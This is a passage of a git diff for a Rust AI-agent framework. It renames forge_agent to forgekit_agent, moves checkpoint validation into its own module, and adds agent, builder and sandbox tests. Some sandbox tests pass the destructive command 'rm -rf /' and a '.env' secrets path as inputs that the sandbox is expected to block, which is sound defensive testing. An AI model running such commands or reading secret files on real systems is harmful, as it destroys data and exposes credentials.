AgentError::ReActFailed(msg) => assert!(msg.contains("maximum iterations")), + other => panic!("expected ReActFailed with max iterations, got {other}"), + } +} + +#[tokio::test] +async fn test_agent_with_step_retries_zero_propagates_error() { + let temp = tempfile::tempdir().unwrap(); + let provider = std::sync::Arc::new( + chat::MockChatProvider::from_text("ok") + .with_error(crate::chat::types::LlmError::Http("fail".to_string())), + ); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) + .with_step_retries(0); + + let result = agent.run_react("test").await; + match result.unwrap_err() { + AgentError::ReActFailed(msg) => assert!(msg.contains("fail")), + other => panic!("expected ReActFailed with provider error, got {other}"), + } +} + +#[tokio::test] +async fn test_agent_with_retriever() { + use crate::chat::retrieval::{CodeRetriever, CodeSnippet, RetrievalSource}; + + struct TestRetriever; + #[async_trait::async_trait] + impl CodeRetriever for TestRetriever { + async fn retrieve(&self, _query: &str, _top_k: usize) -> Vec { + vec![CodeSnippet { + file: std::path::PathBuf::from("test.rs"), + line: 1, + content: "fn test() {}".to_string(), + score: 0.9, + source: RetrievalSource::File, + }] + } + } + + let temp = tempfile::tempdir().unwrap(); + let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("retrieved answer")); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) + .with_retriever(std::sync::Arc::new(TestRetriever)); + + let result = agent.run_react("find test").await; + assert_eq!(result.unwrap(), "retrieved answer"); +} + +#[tokio::test] +async fn test_agent_spawn_runs_concurrently() { + let temp = tempfile::tempdir().unwrap(); + let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("spawned result")); + let config = llm::LlmConfig::new("test-model"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config); + + let task = agent.spawn("test query").await.unwrap(); + let result = task.await; + assert_eq!(result.unwrap(), "spawned result"); +} + +#[tokio::test] +async fn test_agent_spawn_without_provider_errors() { + let temp = tempfile::tempdir().unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + + let result = agent.spawn("test").await; + match result.unwrap_err() { + AgentError::ReActFailed(msg) => assert!(msg.contains("no ChatProvider")), + other => panic!("expected ReActFailed, got {other}"), + } +} + +#[tokio::test] +async fn event_bus_captures_lifecycle() { + use chat::{AgentEvent, EventBus}; + use std::sync::Mutex; + + let bus = EventBus::new(); + let events: Arc>> = Arc::new(Mutex::new(Vec::new())); + let events_clone = events.clone(); + bus.subscribe(move |event| { + let label = match event { + AgentEvent::SessionStarted { .. } => "session_started", + AgentEvent::IterationStarted { .. } => "iteration_started", + AgentEvent::LlmResponseReceived { .. } => "llm_response", + AgentEvent::ToolCallStarted { .. } => "tool_started", + AgentEvent::ToolCallCompleted { .. } => "tool_completed", + AgentEvent::AnswerProduced { .. } => "answer", + _ => "other", + }; + events_clone.lock().unwrap().push(label.to_string()); + }) + .await; + + let temp = tempfile::tempdir().unwrap(); + let provider = std::sync::Arc::new(chat::MockChatProvider::from_text("done")); + let config = crate::llm::LlmConfig::new("test"); + + let agent = Agent::new(temp.path()) + .await + .unwrap() + .with_chat_provider(provider, config) + .with_event_bus(bus); + + let result = agent.run_react("hello").await.unwrap(); + assert_eq!(result, "done"); + + let captured = events.lock().unwrap(); + assert!(captured.contains(&"session_started".to_string())); + assert!(captured.contains(&"iteration_started".to_string())); + assert!(captured.contains(&"llm_response".to_string())); + assert!(captured.contains(&"answer".to_string())); +} + +#[tokio::test] +async fn agent_config_tool_denylist() { + let temp = tempfile::tempdir().unwrap(); + std::fs::write( + temp.path().join(".forge.toml"), + "[agent]\ntools = [\"file_read\", \"shell_exec\"]\ndenied_tools = [\"shell_exec\"]\n", + ) + .unwrap(); + let agent = Agent::new(temp.path()).await.unwrap(); + let registry = agent.build_tool_registry(); + use chat::ToolRegistry; + assert!(registry.has_tool("file_read")); + assert!(!registry.has_tool("shell_exec")); + assert!(!registry.has_tool("file_write")); +} + +#[tokio::test] +async fn sandbox_blocks_shell_command() { + use chat::sandbox::Sandbox; + let sandbox = Sandbox::new().with_blocked_commands(&["rm\\s+-rf".to_string()]); + let shared = chat::sandbox::shared_sandbox(Some(sandbox)); + let temp = tempfile::tempdir().unwrap(); + let tool = chat::ShellExecTool::new(temp.path()).with_sandbox(shared); + let result = tool.call(serde_json::json!({"command": "rm -rf /"})).await; + assert!(result.is_err()); + let err = result.unwrap_err(); + assert!(err.contains("blocked by sandbox policy")); +} + +#[tokio::test] +async fn sandbox_allows_safe_command() { + use chat::sandbox::Sandbox; + let sandbox = Sandbox::new().with_blocked_commands(&["sudo".to_string()]); + let shared = chat::sandbox::shared_sandbox(Some(sandbox)); + let temp = tempfile::tempdir().unwrap(); + let tool = chat::ShellExecTool::new(temp.path()).with_sandbox(shared); + let result = tool + .call(serde_json::json!({"command": "echo hello"})) + .await; + assert!(result.is_ok()); +} + +#[tokio::test] +async fn sandbox_blocks_file_path() { + use chat::sandbox::Sandbox; + let sandbox = Sandbox::new().with_blocked_paths(&["\\.env".to_string()]); + let shared = chat::sandbox::shared_sandbox(Some(sandbox)); + let temp = tempfile::tempdir().unwrap(); + let tool = chat::FileReadTool::new(temp.path()).with_sandbox(shared); + let result = tool.call(serde_json::json!({"path": ".env"})).await; + assert!(result.is_err()); + assert!(result.unwrap_err().contains("blocked by sandbox policy")); +} + +#[tokio::test] +async fn sandbox_allows_safe_path() { + use chat::sandbox::Sandbox; + let sandbox = Sandbox::new().with_blocked_paths(&["\\.env".to_string()]); + let shared = chat::sandbox::shared_sandbox(Some(sandbox)); + let temp = tempfile::tempdir().unwrap(); + std::fs::write(temp.path().join("main.rs"), "fn main() {}").unwrap(); + let tool = chat::FileReadTool::new(temp.path()).with_sandbox(shared); + let result = tool.call(serde_json::json!({"path": "main.rs"})).await; + assert!(result.is_ok()); + assert!(result.unwrap().contains("fn main()")); +} + +mod builder_tests { + use super::*; + use crate::chat::providers::MockChatProvider; + use crate::llm::LlmConfig; + + fn test_llm_config() -> LlmConfig { + LlmConfig { + model: "test-model".to_string(), + temperature: Some(0.7), + max_tokens: Some(4096), + top_p: None, + stop: Vec::new(), + json_mode: false, + max_tool_output_bytes: 8192, + } + } + + #[tokio::test] + async fn builder_produces_agent_with_provider() { + let temp = tempfile::tempdir().unwrap(); + let provider = Arc::new(MockChatProvider::from_text("hello")); + let agent = agent_builder(temp.path()) + .chat_provider(provider, test_llm_config()) + .build() + .await + .unwrap(); + + assert!(agent.chat_provider.is_some()); + assert!(agent.chat_config.is_some()); + assert_eq!(agent.codebase_path, temp.path()); + } + + #[tokio::test] + async fn builder_applies_optional_config() { + let temp = tempfile::tempdir().unwrap(); + let provider = Arc::new(MockChatProvider::from_text("hello")); + let agent = agent_builder(temp.path()) + .chat_provider(provider, test_llm_config()) + .max_iterations(42) + .step_retries(5) + .retrieval_top_k(20) + .system_prompt("You are a test.") + .build() + .await + .unwrap(); + + assert_eq!(agent.max_iterations, 42); + assert_eq!(agent.step_retries, 5); + assert_eq!(agent.retrieval_top_k, 20); + assert_eq!( + agent.custom_system_prompt.as_deref(), + Some("You are a test.") + ); + } + + #[tokio::test] + async fn builder_defaults_match_agent_new() { + let temp = tempfile::tempdir().unwrap(); + let bare = Agent::new(temp.path()).await.unwrap(); + let provider = Arc::new(MockChatProvider::from_text("hello")); + let built = agent_builder(temp.path()) + .chat_provider(provider, test_llm_config()) + .build() + .await + .unwrap(); + + assert_eq!(built.max_iterations, bare.max_iterations); + assert_eq!(built.step_retries, bare.step_retries); + assert_eq!(built.retrieval_top_k, bare.retrieval_top_k); + } + + #[tokio::test] + async fn builder_via_agent_method() { + let temp = tempfile::tempdir().unwrap(); + let provider = Arc::new(MockChatProvider::from_text("hello")); + let agent = Agent::builder(temp.path()) + .chat_provider(provider, test_llm_config()) + .build() + .await + .unwrap(); + + assert!(agent.chat_provider.is_some()); + } + + #[tokio::test] + async fn builder_with_hooks_and_verifier() { + let temp = tempfile::tempdir().unwrap(); + let provider = Arc::new(MockChatProvider::from_text("hello")); + let hooks = chat::HookConfig::default(); + let verifier: chat::VerifierFn = Arc::new(|_answer: &str| true); + + let agent = agent_builder(temp.path()) + .chat_provider(provider, test_llm_config()) + .hooks(hooks) + .verifier(verifier) + .build() + .await + .unwrap(); + + assert!(agent.hook_config.is_some()); + assert!(agent.verifier.is_some()); + } +} diff --git a/forge_agent/src/transaction.rs b/forgekit_agent/src/transaction.rs similarity index 100% rename from forge_agent/src/transaction.rs rename to forgekit_agent/src/transaction.rs diff --git a/forge_agent/src/verify.rs b/forgekit_agent/src/verify.rs similarity index 95% rename from forge_agent/src/verify.rs rename to forgekit_agent/src/verify.rs index 9b01248..25365f1 100644 --- a/forge_agent/src/verify.rs +++ b/forgekit_agent/src/verify.rs @@ -15,7 +15,7 @@ use std::sync::Arc; #[derive(Clone)] pub struct Verifier { /// Optional Forge SDK for graph consistency checks - forge: Option, + forge: Option, /// Optional LLM provider for error interpretation llm: Option>, } @@ -36,7 +36,7 @@ impl Verifier { } /// Creates a new verifier with Forge SDK for graph checks. - pub fn with_forge(forge: forge_core::Forge) -> Self { + pub fn with_forge(forge: forgekit_core::Forge) -> Self { Self { forge: Some(forge), llm: None, @@ -64,10 +64,10 @@ impl Verifier { .iter() .filter_map(|d| { let level = match d.severity { - forge_core::diagnostic::DiagnosticSeverity::Error => { + forgekit_core::diagnostic::DiagnosticSeverity::Error => { Some(DiagnosticLevel::Error) } - forge_core::diagnostic::DiagnosticSeverity::Warning => { + forgekit_core::diagnostic::DiagnosticSeverity::Warning => { Some(DiagnosticLevel::Warning) } _ => None, @@ -126,7 +126,7 @@ impl Verifier { .iter() .filter_map(|d| { let level = match d.severity { - forge_core::diagnostic::DiagnosticSeverity::Error => { + forgekit_core::diagnostic::DiagnosticSeverity::Error => { Some(DiagnosticLevel::Error) } _ => None, @@ -239,7 +239,6 @@ impl Verifier { passed, diagnostics: all_diagnostics, suggestions, - changed_files: Vec::new(), }) } @@ -253,6 +252,11 @@ impl Verifier { changed_files: &[std::path::PathBuf], diffs: &[String], ) -> Result { + tracing::info!( + "Verifying {} changed files in {}", + changed_files.len(), + working_dir.display() + ); let mut all_diagnostics = Vec::new(); let compile_diags = self.compile_check(working_dir).await?; @@ -286,7 +290,6 @@ impl Verifier { passed, diagnostics: all_diagnostics, suggestions, - changed_files: changed_files.to_vec(), }) } @@ -366,8 +369,6 @@ pub struct VerificationReport { pub diagnostics: Vec, /// LLM-generated fix suggestions (None if no LLM or no errors) pub suggestions: Option, - /// Files that were changed before verification (empty for full-project verify) - pub changed_files: Vec, } /// Diagnostic message. @@ -473,10 +474,7 @@ mod tests { .await; assert!(result.is_ok(), "verify_changes should succeed"); - let report = result.unwrap(); // Cargo check on empty dir will have errors, but method ran - assert!(!report.changed_files.is_empty()); - assert_eq!(report.changed_files[0], PathBuf::from("src/lib.rs")); } #[tokio::test] @@ -503,7 +501,7 @@ mod tests { #[tokio::test] async fn test_verifier_with_forge_uses_build_module() { let temp_dir = tempfile::tempdir().unwrap(); - let forge = forge_core::ForgeBuilder::new() + let forge = forgekit_core::ForgeBuilder::new() .path(temp_dir.path()) .db_path(temp_dir.path().join("test.db")) .build() diff --git a/forge_agent/src/workflow/auto_detect.rs b/forgekit_agent/src/workflow/auto_detect.rs similarity index 97% rename from forge_agent/src/workflow/auto_detect.rs rename to forgekit_agent/src/workflow/auto_detect.rs index 575af60..fd4020d 100644 --- a/forge_agent/src/workflow/auto_detect.rs +++ b/forgekit_agent/src/workflow/auto_detect.rs @@ -5,7 +5,7 @@ use crate::workflow::dag::{Workflow, WorkflowError}; use crate::workflow::task::TaskId; -use forge_core::graph::GraphModule; +use forgekit_core::graph::GraphModule; use serde::{Deserialize, Serialize}; use std::collections::{HashMap, HashSet}; @@ -144,12 +144,10 @@ impl DependencyAnalyzer { if let Some(node) = workflow.graph.node_weight(node_idx) { let task_id = node.id().clone(); - // Try to downcast the task to GraphQueryTask - // Note: We can't access the actual trait object from TaskNode - // so we need to work with task names and heuristics for now - // A full implementation would require TaskNode to expose more metadata - - // For Phase 8, we'll use task name patterns to detect GraphQueryTasks + // TaskNode stores the task as a trait object, so we cannot + // downcast to GraphQueryTask here. We extract the target from + // the task name instead. A future TaskNode metadata API could + // replace this heuristic with direct field access. let target = self.extract_target_from_name(&node.name); task_targets.insert(task_id.clone(), target); } diff --git a/forge_agent/src/workflow/builder.rs b/forgekit_agent/src/workflow/builder.rs similarity index 98% rename from forge_agent/src/workflow/builder.rs rename to forgekit_agent/src/workflow/builder.rs index 9c0b2ad..c8e2901 100644 --- a/forge_agent/src/workflow/builder.rs +++ b/forgekit_agent/src/workflow/builder.rs @@ -16,7 +16,7 @@ use std::sync::Arc; /// # Example /// /// ```ignore -/// use forge_agent::workflow::{WorkflowBuilder, MockTask, TaskId}; +/// use forgekit_agent::workflow::{WorkflowBuilder, MockTask, TaskId}; /// /// let workflow = WorkflowBuilder::new() /// .add_task(Box::new(MockTask::new("a", "Task A"))) @@ -33,7 +33,7 @@ pub struct WorkflowBuilder { /// Dependencies between tasks (from, to) dependencies: Vec<(TaskId, TaskId)>, /// Forge instance for auto-detection (optional) - forge: Option>, + forge: Option>, } impl WorkflowBuilder { @@ -63,7 +63,7 @@ impl WorkflowBuilder { /// .with_auto_detect(&forge) /// .add_task(Box::new(GraphQueryTask::find_symbol("main"))); /// ``` - pub fn with_auto_detect(mut self, forge: &forge_core::Forge) -> Self { + pub fn with_auto_detect(mut self, forge: &forgekit_core::Forge) -> Self { self.forge = Some(Arc::new(forge.clone())); self } @@ -485,13 +485,13 @@ mod tests { #[test] fn test_builder_with_auto_detect() { - use forge_core::Forge; + use forgekit_core::Forge; // Create a forge instance (SQLite backend for testing) let temp_dir = tempfile::tempdir().unwrap(); let rt = tokio::runtime::Runtime::new().unwrap(); let forge = rt.block_on(async { - Forge::open_with_backend(temp_dir.path(), forge_core::storage::BackendKind::SQLite) + Forge::open_with_backend(temp_dir.path(), forgekit_core::storage::BackendKind::SQLite) .await .unwrap() }); @@ -520,7 +520,7 @@ mod tests { use crate::workflow::task::TaskId as TId; use crate::workflow::task::{TaskContext, TaskError, TaskResult, WorkflowTask}; use async_trait::async_trait; - use forge_core::Forge; + use forgekit_core::Forge; struct ForgeCheckTask; #[async_trait] diff --git a/forge_agent/src/workflow/cancellation.rs b/forgekit_agent/src/workflow/cancellation.rs similarity index 98% rename from forge_agent/src/workflow/cancellation.rs rename to forgekit_agent/src/workflow/cancellation.rs index 42a07c2..a255863 100644 --- a/forge_agent/src/workflow/cancellation.rs +++ b/forgekit_agent/src/workflow/cancellation.rs @@ -44,7 +44,7 @@ //! # Example //! //! ```ignore -//! use forge_agent::workflow::{CancellationTokenSource, CancellationToken}; +//! use forgekit_agent::workflow::{CancellationTokenSource, CancellationToken}; //! //! // Create cancellation source for workflow //! let source = CancellationTokenSource::new(); @@ -68,7 +68,7 @@ use tokio::sync::Notify; /// Thread-safe cancellation token. /// -/// Wraps an Arc for thread-safe cancellation state. +/// Wraps an `Arc` for thread-safe cancellation state. /// Tokens can be cheaply cloned and shared across tasks. /// /// # Cooperative Cancellation @@ -140,11 +140,11 @@ impl CancellationToken { self.cancelled.load(Ordering::SeqCst) } - /// Polls the cancellation state - semantic alias for [`is_cancelled()`]. + /// Polls the cancellation state - semantic alias for [`Self::is_cancelled()`]. /// /// This method is intended for use in long-running loops where tasks /// cooperatively check for cancellation. The naming makes the intent - /// clearer than [`is_cancelled()`] in polling contexts. + /// clearer than [`Self::is_cancelled()`] in polling contexts. /// /// # Example /// @@ -192,7 +192,7 @@ impl CancellationToken { /// Returns a Future that completes when this token is cancelled. /// - /// This is equivalent to [`wait_until_cancelled()`] but returns a named future type + /// This is equivalent to [`Self::wait_until_cancelled()`] but returns a named future type /// that can be stored and passed around. /// /// # Example diff --git a/forge_agent/src/workflow/checkpoint/mod.rs b/forgekit_agent/src/workflow/checkpoint/mod.rs similarity index 69% rename from forge_agent/src/workflow/checkpoint/mod.rs rename to forgekit_agent/src/workflow/checkpoint/mod.rs index c14de11..c54ad36 100644 --- a/forge_agent/src/workflow/checkpoint/mod.rs +++ b/forgekit_agent/src/workflow/checkpoint/mod.rs @@ -1,6 +1,11 @@ mod service; +mod validation; pub use service::{CheckpointSummary, WorkflowCheckpointService}; +pub use validation::{ + can_proceed, extract_confidence, requires_rollback, validate_checkpoint, + RollbackRecommendation, ValidationCheckpoint, ValidationResult, ValidationStatus, +}; use crate::workflow::dag::Workflow; use crate::workflow::executor::WorkflowExecutor; @@ -11,100 +16,6 @@ use sha2::{Digest, Sha256}; use std::collections::HashSet; use uuid::Uuid; -#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] -pub enum ValidationStatus { - Passed, - Warning, - Failed, -} - -#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] -pub enum RollbackRecommendation { - ToPreviousCheckpoint, - SpecificTask(TaskId), - FullRollback, - None, -} - -#[derive(Clone, Debug, Serialize, Deserialize)] -pub struct ValidationResult { - pub confidence: f64, - pub status: ValidationStatus, - pub message: String, - pub rollback_recommendation: Option, - pub timestamp: DateTime, -} - -#[derive(Clone, Debug)] -pub struct ValidationCheckpoint { - pub min_confidence: f64, - pub warning_threshold: f64, - pub rollback_on_failure: bool, -} - -impl Default for ValidationCheckpoint { - fn default() -> Self { - Self { - min_confidence: 0.7, - warning_threshold: 0.85, - rollback_on_failure: true, - } - } -} - -pub fn extract_confidence(result: &crate::workflow::task::TaskResult) -> f64 { - match result { - crate::workflow::task::TaskResult::Success => 1.0, - crate::workflow::task::TaskResult::Skipped => 0.5, - crate::workflow::task::TaskResult::Failed(_) => 0.0, - crate::workflow::task::TaskResult::WithCompensation { result, .. } => { - extract_confidence(result) - } - } -} - -pub fn validate_checkpoint( - task_result: &crate::workflow::task::TaskResult, - config: &ValidationCheckpoint, -) -> ValidationResult { - let confidence = extract_confidence(task_result); - - let status = if confidence >= config.warning_threshold { - ValidationStatus::Passed - } else if confidence >= config.min_confidence { - ValidationStatus::Warning - } else { - ValidationStatus::Failed - }; - - let percentage = (confidence * 100.0) as u32; - let message = format!("Confidence: {}% (status: {:?})", percentage, status); - - let rollback_recommendation = - if matches!(status, ValidationStatus::Failed) && config.rollback_on_failure { - Some(RollbackRecommendation::FullRollback) - } else { - None - }; - - ValidationResult { - confidence, - status, - message, - rollback_recommendation, - timestamp: Utc::now(), - } -} - -pub fn can_proceed(validation: &ValidationResult) -> bool { - !matches!(validation.status, ValidationStatus::Failed) -} - -pub fn requires_rollback(validation: &ValidationResult) -> bool { - matches!(validation.status, ValidationStatus::Failed) - && validation.rollback_recommendation.is_some() -} - #[derive(Clone, Copy, Debug, PartialEq, Eq, Hash, Serialize, Deserialize)] pub struct CheckpointId(pub Uuid); diff --git a/forge_agent/src/workflow/checkpoint/service.rs b/forgekit_agent/src/workflow/checkpoint/service.rs similarity index 100% rename from forge_agent/src/workflow/checkpoint/service.rs rename to forgekit_agent/src/workflow/checkpoint/service.rs diff --git a/forge_agent/src/workflow/checkpoint/tests.rs b/forgekit_agent/src/workflow/checkpoint/tests.rs similarity index 100% rename from forge_agent/src/workflow/checkpoint/tests.rs rename to forgekit_agent/src/workflow/checkpoint/tests.rs diff --git a/forgekit_agent/src/workflow/checkpoint/validation.rs b/forgekit_agent/src/workflow/checkpoint/validation.rs new file mode 100644 index 0000000..3e8ae51 --- /dev/null +++ b/forgekit_agent/src/workflow/checkpoint/validation.rs @@ -0,0 +1,103 @@ +//! Checkpoint validation logic. +//! +//! Extracted from `mod.rs` (SPLIT-20). Confidence-based validation gate that +//! decides whether a checkpoint passes, warns, or fails (with rollback). + +use chrono::{DateTime, Utc}; +use serde::{Deserialize, Serialize}; + +use crate::workflow::task::TaskId; + +#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] +pub enum ValidationStatus { + Passed, + Warning, + Failed, +} + +#[derive(Clone, Debug, PartialEq, Eq, Serialize, Deserialize)] +pub enum RollbackRecommendation { + ToPreviousCheckpoint, + SpecificTask(TaskId), + FullRollback, + None, +} + +#[derive(Clone, Debug, Serialize, Deserialize)] +pub struct ValidationResult { + pub confidence: f64, + pub status: ValidationStatus, + pub message: String, + pub rollback_recommendation: Option, + pub timestamp: DateTime, +} + +#[derive(Clone, Debug)] +pub struct ValidationCheckpoint { + pub min_confidence: f64, + pub warning_threshold: f64, + pub rollback_on_failure: bool, +} + +impl Default for ValidationCheckpoint { + fn default() -> Self { + Self { + min_confidence: 0.7, + warning_threshold: 0.85, + rollback_on_failure: true, + } + } +} + +pub fn extract_confidence(result: &crate::workflow::task::TaskResult) -> f64 { + match result { + crate::workflow::task::TaskResult::Success => 1.0, + crate::workflow::task::TaskResult::Skipped => 0.5, + crate::workflow::task::TaskResult::Failed(_) => 0.0, + crate::workflow::task::TaskResult::WithCompensation { result, .. } => { + extract_confidence(result) + } + } +} + +pub fn validate_checkpoint( + task_result: &crate::workflow::task::TaskResult, + config: &ValidationCheckpoint, +) -> ValidationResult { + let confidence = extract_confidence(task_result); + + let status = if confidence >= config.warning_threshold { + ValidationStatus::Passed + } else if confidence >= config.min_confidence { + ValidationStatus::Warning + } else { + ValidationStatus::Failed + }; + + let percentage = (confidence * 100.0) as u32; + let message = format!("Confidence: {}% (status: {:?})", percentage, status); + + let rollback_recommendation = + if matches!(status, ValidationStatus::Failed) && config.rollback_on_failure { + Some(RollbackRecommendation::FullRollback) + } else { + None + }; + + ValidationResult { + confidence, + status, + message, + rollback_recommendation, + timestamp: Utc::now(), + } +} + +pub fn can_proceed(validation: &ValidationResult) -> bool { + !matches!(validation.status, ValidationStatus::Failed) +} + +pub fn requires_rollback(validation: &ValidationResult) -> bool { + matches!(validation.status, ValidationStatus::Failed) + && validation.rollback_recommendation.is_some() +} diff --git a/forge_agent/src/workflow/combinators.rs b/forgekit_agent/src/workflow/combinators.rs similarity index 90% rename from forge_agent/src/workflow/combinators.rs rename to forgekit_agent/src/workflow/combinators.rs index 1cdd746..9b08063 100644 --- a/forge_agent/src/workflow/combinators.rs +++ b/forgekit_agent/src/workflow/combinators.rs @@ -85,8 +85,9 @@ impl WorkflowTask for ConditionalTask { } } TaskResult::WithCompensation { .. } => { - // For now, treat WithCompensation as Success and execute then task - // TODO: Consider if compensation should propagate + // WithCompensation is a success result with an attached + // rollback action. Run the then branch. Compensation is + // tracked by the rollback engine at the workflow level. self.then_task.execute(context).await } } @@ -160,9 +161,10 @@ impl WorkflowTask for TryCatchTask { self.catch_task.execute(context).await } Ok(TaskResult::WithCompensation { .. }) => { - // For now, execute catch task on compensation result - // TODO: Consider if compensation should execute before catch - self.catch_task.execute(context).await + // WithCompensation is a success result with an attached + // rollback action. The try task succeeded, so return its + // result directly without running the catch branch. + try_result } Err(_) => { // Execute catch task on error @@ -223,7 +225,7 @@ impl ParallelTasks { #[async_trait] impl WorkflowTask for ParallelTasks { async fn execute(&self, context: &TaskContext) -> Result { - // Execute tasks sequentially for now. + // Execute tasks sequentially within this combinator. // True parallelism is available at the DAG level via execute_parallel(). // This combinator provides logical grouping of tasks that can run together. for task in &self.tasks { @@ -383,17 +385,34 @@ mod tests { } #[tokio::test] - async fn test_parallel_tasks_sequential_stub() { + async fn test_parallel_tasks_both_execute() { + // Each task records its ID in a shared log so we can prove both ran. + let log = std::sync::Arc::new(std::sync::Mutex::new(Vec::new())); + + let log1 = std::sync::Arc::clone(&log); let task1 = Box::new(FunctionTask::new( TaskId::new("task1"), "Task 1".to_string(), - |_ctx| async { Ok(TaskResult::Success) }, + move |_ctx| { + let log = std::sync::Arc::clone(&log1); + async move { + log.lock().unwrap().push("task1".to_string()); + Ok(TaskResult::Success) + } + }, )); + let log2 = std::sync::Arc::clone(&log); let task2 = Box::new(FunctionTask::new( TaskId::new("task2"), "Task 2".to_string(), - |_ctx| async { Ok(TaskResult::Success) }, + move |_ctx| { + let log = std::sync::Arc::clone(&log2); + async move { + log.lock().unwrap().push("task2".to_string()); + Ok(TaskResult::Success) + } + }, )); let parallel = ParallelTasks::new(vec![task1, task2]); @@ -401,6 +420,12 @@ mod tests { let result = parallel.execute(&context).await.unwrap(); assert_eq!(result, TaskResult::Success); + + // Both tasks must have actually executed β€” the assertion that was missing. + let log = log.lock().unwrap(); + assert_eq!(log.len(), 2, "both parallel tasks should have executed"); + assert!(log.contains(&"task1".to_string())); + assert!(log.contains(&"task2".to_string())); } #[tokio::test] diff --git a/forge_agent/src/workflow/dag/mod.rs b/forgekit_agent/src/workflow/dag/mod.rs similarity index 100% rename from forge_agent/src/workflow/dag/mod.rs rename to forgekit_agent/src/workflow/dag/mod.rs diff --git a/forge_agent/src/workflow/dag/tests.rs b/forgekit_agent/src/workflow/dag/tests.rs similarity index 99% rename from forge_agent/src/workflow/dag/tests.rs rename to forgekit_agent/src/workflow/dag/tests.rs index acbe807..f3fc12a 100644 --- a/forge_agent/src/workflow/dag/tests.rs +++ b/forgekit_agent/src/workflow/dag/tests.rs @@ -16,12 +16,6 @@ impl MockTask { deps: Vec::new(), } } - - #[allow(dead_code)] - fn with_dep(mut self, dep: impl Into) -> Self { - self.deps.push(dep.into()); - self - } } #[async_trait] diff --git a/forge_agent/src/workflow/deadlock.rs b/forgekit_agent/src/workflow/deadlock.rs similarity index 99% rename from forge_agent/src/workflow/deadlock.rs rename to forgekit_agent/src/workflow/deadlock.rs index 7ca0c78..d8a2dfa 100644 --- a/forge_agent/src/workflow/deadlock.rs +++ b/forgekit_agent/src/workflow/deadlock.rs @@ -316,12 +316,6 @@ mod tests { deps: Vec::new(), } } - - #[allow(dead_code)] - fn with_dep(mut self, dep: impl Into) -> Self { - self.deps.push(dep.into()); - self - } } #[async_trait] diff --git a/forge_agent/src/workflow/examples.rs b/forgekit_agent/src/workflow/examples.rs similarity index 96% rename from forge_agent/src/workflow/examples.rs rename to forgekit_agent/src/workflow/examples.rs index 0d8f038..b89ab31 100644 --- a/forge_agent/src/workflow/examples.rs +++ b/forgekit_agent/src/workflow/examples.rs @@ -51,7 +51,7 @@ //! # Example //! //! ```rust,no_run -//! use forge_agent::workflow::{ +//! use forgekit_agent::workflow::{ //! WorkflowBuilder, CancellationAwareTask, //! TaskId, //! }; @@ -90,7 +90,7 @@ use async_trait::async_trait; /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::example_linear_workflow; +/// use forgekit_agent::workflow::examples::example_linear_workflow; /// /// let workflow = example_linear_workflow(); /// assert_eq!(workflow.task_count(), 3); @@ -124,7 +124,7 @@ pub fn example_linear_workflow() -> Result { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::example_branching_workflow; +/// use forgekit_agent::workflow::examples::example_branching_workflow; /// /// let workflow = example_branching_workflow(); /// assert_eq!(workflow.task_count(), 4); @@ -180,7 +180,7 @@ pub fn example_branching_workflow() -> Result { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::example_graph_aware_workflow; +/// use forgekit_agent::workflow::examples::example_graph_aware_workflow; /// /// let workflow = example_graph_aware_workflow(); /// assert_eq!(workflow.task_count(), 3); @@ -214,7 +214,7 @@ pub fn example_graph_aware_workflow() -> Result { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::example_agent_workflow; +/// use forgekit_agent::workflow::examples::example_agent_workflow; /// /// let workflow = example_agent_workflow(); /// assert_eq!(workflow.task_count(), 3); @@ -256,8 +256,8 @@ pub fn example_agent_workflow() -> Result { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::CancellationAwareTask; -/// use forge_agent::workflow::TaskId; +/// use forgekit_agent::workflow::examples::CancellationAwareTask; +/// use forgekit_agent::workflow::TaskId; /// /// let task = CancellationAwareTask::new( /// TaskId::new("task1"), @@ -331,8 +331,8 @@ impl WorkflowTask for CancellationAwareTask { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::PollingTask; -/// use forge_agent::workflow::TaskId; +/// use forgekit_agent::workflow::examples::PollingTask; +/// use forgekit_agent::workflow::TaskId; /// /// let task = PollingTask::new( /// TaskId::new("task1"), @@ -407,8 +407,8 @@ impl WorkflowTask for PollingTask { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::TimeoutAndCancellationTask; -/// use forge_agent::workflow::TaskId; +/// use forgekit_agent::workflow::examples::TimeoutAndCancellationTask; +/// use forgekit_agent::workflow::TaskId; /// /// let task = TimeoutAndCancellationTask::new( /// TaskId::new("task1"), @@ -487,8 +487,8 @@ impl WorkflowTask for TimeoutAndCancellationTask { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::cooperative_cancellation_example; -/// use forge_agent::workflow::executor::WorkflowExecutor; +/// use forgekit_agent::workflow::examples::cooperative_cancellation_example; +/// use forgekit_agent::workflow::executor::WorkflowExecutor; /// /// let workflow = cooperative_cancellation_example(); /// let mut executor = WorkflowExecutor::new(workflow); @@ -531,8 +531,8 @@ pub fn cooperative_cancellation_example() -> Workflow { /// # Example /// /// ```ignore -/// use forge_agent::workflow::examples::timeout_cancellation_example; -/// use forge_agent::workflow::executor::WorkflowExecutor; +/// use forgekit_agent::workflow::examples::timeout_cancellation_example; +/// use forgekit_agent::workflow::executor::WorkflowExecutor; /// /// let workflow = timeout_cancellation_example(); /// let mut executor = WorkflowExecutor::new(workflow) diff --git a/forge_agent/src/workflow/examples/agent_assisted.yaml b/forgekit_agent/src/workflow/examples/agent_assisted.yaml similarity index 100% rename from forge_agent/src/workflow/examples/agent_assisted.yaml rename to forgekit_agent/src/workflow/examples/agent_assisted.yaml diff --git a/forge_agent/src/workflow/examples/complex_dependencies.yaml b/forgekit_agent/src/workflow/examples/complex_dependencies.yaml similarity index 100% rename from forge_agent/src/workflow/examples/complex_dependencies.yaml 